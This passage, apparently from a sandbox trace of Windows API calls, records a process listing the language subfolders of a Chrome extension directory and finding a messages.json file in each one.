dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.487] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.487] GetProcessHeap () returned 0x550000 [0277.487] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.488] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="km", cAlternateFileName="")) returned 1 [0277.488] GetProcessHeap () returned 0x550000 [0277.488] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.488] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\km\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.488] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.488] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x25f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.488] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x25f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.488] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.488] GetProcessHeap () returned 0x550000 [0277.488] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.488] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kn", cAlternateFileName="")) returned 1 [0277.488] GetProcessHeap () returned 0x550000 [0277.488] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.488] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\kn\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.564] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.565] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x147, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.565] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x147, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.565] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.565] GetProcessHeap () returned 0x550000 [0277.565] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.565] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0277.565] GetProcessHeap () returned 0x550000 [0277.565] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.565] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.565] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee1e40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85ee1e40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.565] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.565] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85ee1e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85ee3d80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd9, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.565] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.566] GetProcessHeap () returned 0x550000 [0277.566] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.566] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lo", cAlternateFileName="")) returned 1 [0277.566] GetProcessHeap () returned 0x550000 [0277.566] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.566] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lo\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.616] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.616] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.616] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x47d5c900, ftLastWriteTime.dwHighDateTime=0x1d1781e, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.616] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.617] GetProcessHeap () returned 0x550000 [0277.617] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.617] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0277.674] GetProcessHeap () returned 0x550000 [0277.674] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.674] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lt\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.675] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.675] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.675] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.675] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.675] GetProcessHeap () returned 0x550000 [0277.675] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.675] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0277.675] GetProcessHeap () returned 0x550000 [0277.675] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.675] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\lv\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.752] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.752] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.752] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xc6, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.752] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.752] GetProcessHeap () returned 0x550000 [0277.753] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.753] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ml", cAlternateFileName="")) returned 1 [0277.753] GetProcessHeap () returned 0x550000 [0277.753] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.753] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ml\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.753] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.753] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x183, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0277.753] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x862fc2f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x183, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0277.753] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0277.753] GetProcessHeap () returned 0x550000 [0277.753] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0277.753] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="mn", cAlternateFileName="")) returned 1 [0277.753] GetProcessHeap () returned 0x550000 [0277.753] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0277.753] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0277.817] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f07fa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85f07fa0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0277.817] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85f07fa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85f08770, 